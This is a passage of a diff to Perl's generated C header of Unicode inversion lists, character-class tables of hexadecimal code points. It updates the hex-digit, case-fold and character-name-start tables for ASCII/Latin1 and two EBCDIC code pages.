 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x30,
+	0x3A,
+	0x41,
+	0x47,
+	0x61,
+	0x67,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF27,
+	0xFF41,
+	0xFF47
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXXDIGIT_invlist[] = { /* for EBCDIC 1047 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x87,
+	0xC1,
+	0xC7,
+	0xF0,
+	0xFA,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF27,
+	0xFF41,
+	0xFF47
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXXDIGIT_invlist[] = { /* for EBCDIC 037 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x87,
+	0xC1,
+	0xC7,
+	0xF0,
+	0xFA,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF27,
+	0xFF41,
+	0xFF47
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL__PERL_ANY_FOLDS_invlist[] = { /* for ASCII/Latin1 */
+	253,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x18D,
+	0x18E,
+	0x19B,
+	0x19C,
+	0x1AA,
+	0x1AC,
+	0x1BA,
+	0x1BC,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x221,
+	0x222,
+	0x234,
+	0x23A,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
 	0x2BC,
 	0x2BD,
-	0x308,
+	0x2BE,
+	0x2BF,
+	0x300,
+	0x302,
+	0x307,
 	0x309,
+	0x30A,
+	0x30B,
+	0x30C,
+	0x30D,
 	0x313,
 	0x314,
+	0x331,
+	0x332,
 	0x342,
 	0x343,
-	0x3AC,
-	0x3AD,
-	0x3AE,
-	0x3AF,
-	0x3B1,
-	0x3B2,
-	0x3B7,
-	0x3B8,
-	0x3B9,
-	0x3BA,
-	0x3C1,
-	0x3C2,
-	0x3C5,
-	0x3C6,
-	0x3C9,
-	0x3CA,
-	0x3CE,
-	0x3CF,
-	0x565,
-	0x566,
-	0x574,
-	0x575,
-	0x57E,
-	0x57F,
-	0x1F00,
-	0x1F08,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3D2,
+	0x3D5,
+	0x3F6,
+	0x3F7,
+	0x3FC,
+	0x3FD,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E00,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
 	0x1F20,
-	0x1F28,
-	0x1F60,
-	0x1F68,
-	0x1F70,
-	0x1F71,
-	0x1F74,
-	0x1F75,
-	0x1F7C,
-	0x1F7D
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C71,
+	0x2C72,
+	0x2C74,
+	0x2C75,
+	0x2C77,
+	0x2C7E,
+	0x2CE4,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA730,
+	0xA732,
+	0xA770,
+	0xA779,
+	0xA788,
+	0xA78B,
+	0xA78E,
+	0xA790,
+	0xA794,
+	0xA796,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1E900,
+	0x1E944
 };
 
-static const UV _Perl_Any_Folds_invlist[] = { /* for EBCDIC 1047 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_ANY_FOLDS_invlist[] = { /* for EBCDIC 1047 */
 	285,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
@@ -33484,134 +153338,398 @@
 	0x1E944
 };
 
-static const UV _Perl_Folds_To_Multi_Char_invlist[] = { /* for EBCDIC 1047 */
-	59,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL__PERL_ANY_FOLDS_invlist[] = { /* for EBCDIC 037 */
+	281,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x59,
+	0x42,
+	0x4A,
+	0x51,
 	0x5A,
-	0x130,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
 	0x131,
-	0x149,
-	0x14A,
-	0x1F0,
-	0x1F1,
-	0x390,
-	0x391,
-	0x3B0,
-	0x3B1,
-	0x587,
+	0x132,
+	0x138,
+	0x139,
+	0x18D,
+	0x18E,
+	0x19B,
+	0x19C,
+	0x1AA,
+	0x1AC,
+	0x1BA,
+	0x1BC,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x221,
+	0x222,
+	0x234,
+	0x23A,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x2BC,
+	0x2BD,
+	0x2BE,
+	0x2BF,
+	0x300,
+	0x302,
+	0x307,
+	0x309,
+	0x30A,
+	0x30B,
+	0x30C,
+	0x30D,
+	0x313,
+	0x314,
+	0x331,
+	0x332,
+	0x342,
+	0x343,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3D2,
+	0x3D5,
+	0x3F6,
+	0x3F7,
+	0x3FC,
+	0x3FD,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
 	0x588,
-	0x1E96,
-	0x1E9B,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E00,
+	0x1E9C,
 	0x1E9E,
 	0x1E9F,
+	0x1EA0,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
 	0x1F50,
-	0x1F51,
-	0x1F52,
-	0x1F53,
-	0x1F54,
-	0x1F55,
-	0x1F56,
-	0x1F57,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
 	0x1F80,
-	0x1FB0,
-	0x1FB2,
 	0x1FB5,
 	0x1FB6,
-	0x1FB8,
-	0x1FBC,
 	0x1FBD,
+	0x1FBE,
+	0x1FBF,
 	0x1FC2,
 	0x1FC5,
 	0x1FC6,
-	0x1FC8,
-	0x1FCC,
 	0x1FCD,
-	0x1FD2,
+	0x1FD0,
 	0x1FD4,
 	0x1FD6,
-	0x1FD8,
-	0x1FE2,
-	0x1FE5,
-	0x1FE6,
-	0x1FE8,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FF8,
-	0x1FFC,
 	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C71,
+	0x2C72,
+	0x2C74,
+	0x2C75,
+	0x2C77,
+	0x2C7E,
+	0x2CE4,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA730,
+	0xA732,
+	0xA770,
+	0xA779,
+	0xA788,
+	0xA78B,
+	0xA78E,
+	0xA790,
+	0xA794,
+	0xA796,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
 	0xFB00,
 	0xFB07,
 	0xFB13,
-	0xFB18
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1E900,
+	0x1E944
 };
 
-#endif	/* defined(PERL_IN_REGCOMP_C) */
+#   endif	/* EBCDIC 037 */
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 65 /* ASCII/Latin1 */
 
-static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 1047 */
-	1615,	/* Number of elements */
+static const UV PL__PERL_CHARNAME_BEGIN_invlist[] = { /* for ASCII/Latin1 */
+	1183,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0xD,
-	0xE,
-	0x15,
-	0x16,
-	0x40,
-	0xCA,
-	0xCB,
-	0xFF,
-	0x100,
-	0x300,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
 	0x370,
-	0x483,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
 	0x48A,
-	0x591,
-	0x5BE,
-	0x5BF,
-	0x5C0,
-	0x5C1,
-	0x5C3,
-	0x5C4,
-	0x5C6,
-	0x5C7,
-	0x5C8,
-	0x600,
-	0x606,
-	0x610,
-	0x61B,
-	0x61C,
-	0x61D,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
 	0x64B,
-	0x660,
+	0x66E,
 	0x670,
 	0x671,
+	0x6D4,
+	0x6D5,
 	0x6D6,
-	0x6DD,
-	0x6DE,
-	0x6DF,
 	0x6E5,
 	0x6E7,
-	0x6E9,
-	0x6EA,
 	0x6EE,
-	0x70F,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
 	0x710,
 	0x711,
 	0x712,
 	0x730,
-	0x74B,
+	0x74D,
 	0x7A6,
 	0x7B1,
+	0x7B2,
+	0x7CA,
 	0x7EB,
 	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
 	0x816,
 	0x81A,
 	0x81B,
@@ -33619,395 +153737,543 @@
 	0x825,
 	0x828,
 	0x829,
-	0x82E,
+	0x840,
 	0x859,
-	0x85C,
-	0x8D4,
-	0x8E2,
-	0x8E3,
-	0x903,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
 	0x904,
 	0x93A,
-	0x93B,
-	0x93C,
 	0x93D,
 	0x93E,
-	0x941,
-	0x949,
-	0x94D,
-	0x94E,
 	0x950,
 	0x951,
 	0x958,
 	0x962,
-	0x964,
+	0x971,
 	0x981,
-	0x982,
-	0x984,
-	0x9BC,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
 	0x9BD,
 	0x9BE,
-	0x9BF,
-	0x9C1,
-	0x9C5,
-	0x9C7,
-	0x9C9,
-	0x9CB,
-	0x9CD,
 	0x9CE,
-	0x9D7,
-	0x9D8,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
 	0x9E2,
-	0x9E4,
-	0xA01,
-	0xA03,
-	0xA04,
-	0xA3C,
-	0xA3D,
-	0xA3E,
-	0xA41,
-	0xA43,
-	0xA47,
-	0xA49,
-	0xA4B,
-	0xA4E,
-	0xA51,
-	0xA52,
-	0xA70,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
 	0xA72,
 	0xA75,
-	0xA76,
-	0xA81,
-	0xA83,
-	0xA84,
-	0xABC,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
 	0xABD,
 	0xABE,
-	0xAC1,
-	0xAC6,
-	0xAC7,
-	0xAC9,
-	0xACA,
-	0xACB,
-	0xACD,
-	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
 	0xAE2,
-	0xAE4,
-	0xB01,
-	0xB02,
-	0xB04,
-	0xB3C,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
 	0xB3D,
 	0xB3E,
-	0xB40,
-	0xB41,
-	0xB45,
-	0xB47,
-	0xB49,
-	0xB4B,
-	0xB4D,
-	0xB4E,
-	0xB56,
-	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
 	0xB62,
-	0xB64,
-	0xB82,
+	0xB71,
+	0xB72,
 	0xB83,
-	0xBBE,
-	0xBBF,
-	0xBC0,
-	0xBC1,
-	0xBC3,
-	0xBC6,
-	0xBC9,
-	0xBCA,
-	0xBCD,
-	0xBCE,
-	0xBD7,
-	0xBD8,
-	0xC00,
-	0xC01,
-	0xC04,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
 	0xC3E,
-	0xC41,
-	0xC45,
-	0xC46,
-	0xC49,
-	0xC4A,
-	0xC4E,
-	0xC55,
-	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
 	0xC62,
-	0xC64,
+	0xC80,
 	0xC81,
-	0xC82,
-	0xC84,
-	0xCBC,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
 	0xCBD,
 	0xCBE,
-	0xCBF,
-	0xCC0,
-	0xCC2,
-	0xCC3,
-	0xCC5,
-	0xCC6,
-	0xCC7,
-	0xCC9,
-	0xCCA,
-	0xCCC,
-	0xCCE,
-	0xCD5,
-	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
 	0xCE2,
-	0xCE4,
-	0xD01,
-	0xD02,
-	0xD04,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
 	0xD3E,
-	0xD3F,
-	0xD41,
-	0xD45,
-	0xD46,
-	0xD49,
-	0xD4A,
-	0xD4D,
 	0xD4E,
 	0xD4F,
+	0xD54,
 	0xD57,
-	0xD58,
+	0xD5F,
 	0xD62,
-	0xD64,
-	0xD82,
-	0xD84,
-	0xDCA,
-	0xDCB,
-	0xDCF,
-	0xDD0,
-	0xDD2,
-	0xDD5,
-	0xDD6,
-	0xDD7,
-	0xDD8,
-	0xDDF,
-	0xDE0,
-	0xDF2,
-	0xDF4,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
 	0xE31,
 	0xE32,
 	0xE33,
-	0xE34,
-	0xE3B,
+	0xE40,
 	0xE47,
-	0xE4F,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
 	0xEB1,
 	0xEB2,
 	0xEB3,
-	0xEB4,
-	0xEBA,
-	0xEBB,
 	0xEBD,
-	0xEC8,
-	0xECE,
-	0xF18,
-	0xF1A,
-	0xF35,
-	0xF36,
-	0xF37,
-	0xF38,
-	0xF39,
-	0xF3A,
-	0xF3E,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
 	0xF40,
-	0xF71,
-	0xF7F,
-	0xF80,
-	0xF85,
-	0xF86,
+	0xF48,
+	0xF49,
+	0xF6D,
 	0xF88,
 	0xF8D,
-	0xF98,
-	0xF99,
-	0xFBD,
-	0xFC6,
-	0xFC7,
-	0x102D,
-	0x1031,
-	0x1032,
-	0x1038,
-	0x1039,
-	0x103B,
-	0x103D,
+	0x1000,
+	0x102B,
 	0x103F,
+	0x1040,
+	0x1050,
 	0x1056,
-	0x1058,
 	0x105A,
 	0x105E,
 	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
 	0x1071,
 	0x1075,
 	0x1082,
-	0x1083,
-	0x1084,
-	0x1085,
-	0x1087,
-	0x108D,
 	0x108E,
-	0x109D,
-	0x109E,
-	0x1100,
-	0x1160,
-	0x11A8,
-	0x1200,
-	0x135D,
-	0x1360,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
 	0x1712,
-	0x1715,
+	0x1720,
 	0x1732,
-	0x1735,
+	0x1740,
 	0x1752,
-	0x1754,
-	0x1772,
-	0x1774,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
 	0x17B4,
-	0x17B6,
-	0x17B7,
-	0x17BE,
-	0x17C6,
-	0x17C7,
-	0x17C9,
-	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
 	0x17DD,
-	0x17DE,
-	0x180B,
-	0x180E,
-	0x180F,
+	0x1820,
+	0x1878,
+	0x1880,
 	0x1885,
 	0x1887,
 	0x18A9,
 	0x18AA,
-	0x1920,
-	0x1923,
-	0x1927,
-	0x1929,
-	0x192C,
-	0x1930,
-	0x1932,
-	0x1933,
-	0x1939,
-	0x193C,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
 	0x1A17,
-	0x1A19,
-	0x1A1B,
-	0x1A1C,
+	0x1A20,
 	0x1A55,
-	0x1A56,
-	0x1A57,
-	0x1A58,
-	0x1A5F,
-	0x1A60,
-	0x1A61,
-	0x1A62,
-	0x1A63,
-	0x1A65,
-	0x1A6D,
-	0x1A73,
-	0x1A7D,
-	0x1A7F,
-	0x1A80,
-	0x1AB0,
-	0x1ABF,
-	0x1B00,
-	0x1B04,
+	0x1AA7,
+	0x1AA8,
 	0x1B05,
 	0x1B34,
-	0x1B35,
-	0x1B36,
-	0x1B3B,
-	0x1B3C,
-	0x1B3D,
-	0x1B42,
-	0x1B43,
 	0x1B45,
-	0x1B6B,
-	0x1B74,
-	0x1B80,
-	0x1B82,
+	0x1B4C,
 	0x1B83,
 	0x1BA1,
-	0x1BA2,
-	0x1BA6,
-	0x1BA8,
-	0x1BAA,
-	0x1BAB,
 	0x1BAE,
+	0x1BB0,
+	0x1BBA,
 	0x1BE6,
-	0x1BE7,
-	0x1BE8,
-	0x1BEA,
-	0x1BED,
-	0x1BEE,
-	0x1BEF,
-	0x1BF2,
-	0x1BF4,
+	0x1C00,
 	0x1C24,
-	0x1C2C,
-	0x1C34,
-	0x1C36,
-	0x1C38,
-	0x1CD0,
-	0x1CD3,
-	0x1CD4,
-	0x1CE1,
-	0x1CE2,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
 	0x1CE9,
 	0x1CED,
 	0x1CEE,
 	0x1CF2,
-	0x1CF4,
 	0x1CF5,
-	0x1CF8,
-	0x1CFA,
+	0x1CF7,
+	0x1D00,
 	0x1DC0,
-	0x1DF6,
-	0x1DFB,
 	0x1E00,
-	0x200B,
-	0x200C,
-	0x200D,
-	0x200E,
-	0x2010,
-	0x2028,
-	0x202F,
-	0x2060,
-	0x2070,
-	0x20D0,
-	0x20F1,
-	0x261D,
-	0x261E,
-	0x26F9,
-	0x26FA,
-	0x270A,
-	0x270E,
-	0x2764,
-	0x2765,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2183,
+	0x2185,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
 	0x2CEF,
 	0x2CF2,
-	0x2D7F,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
 	0x2D80,
-	0x2DE0,
-	0x2E00,
-	0x302A,
-	0x3030,
-	0x3099,
-	0x309B,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
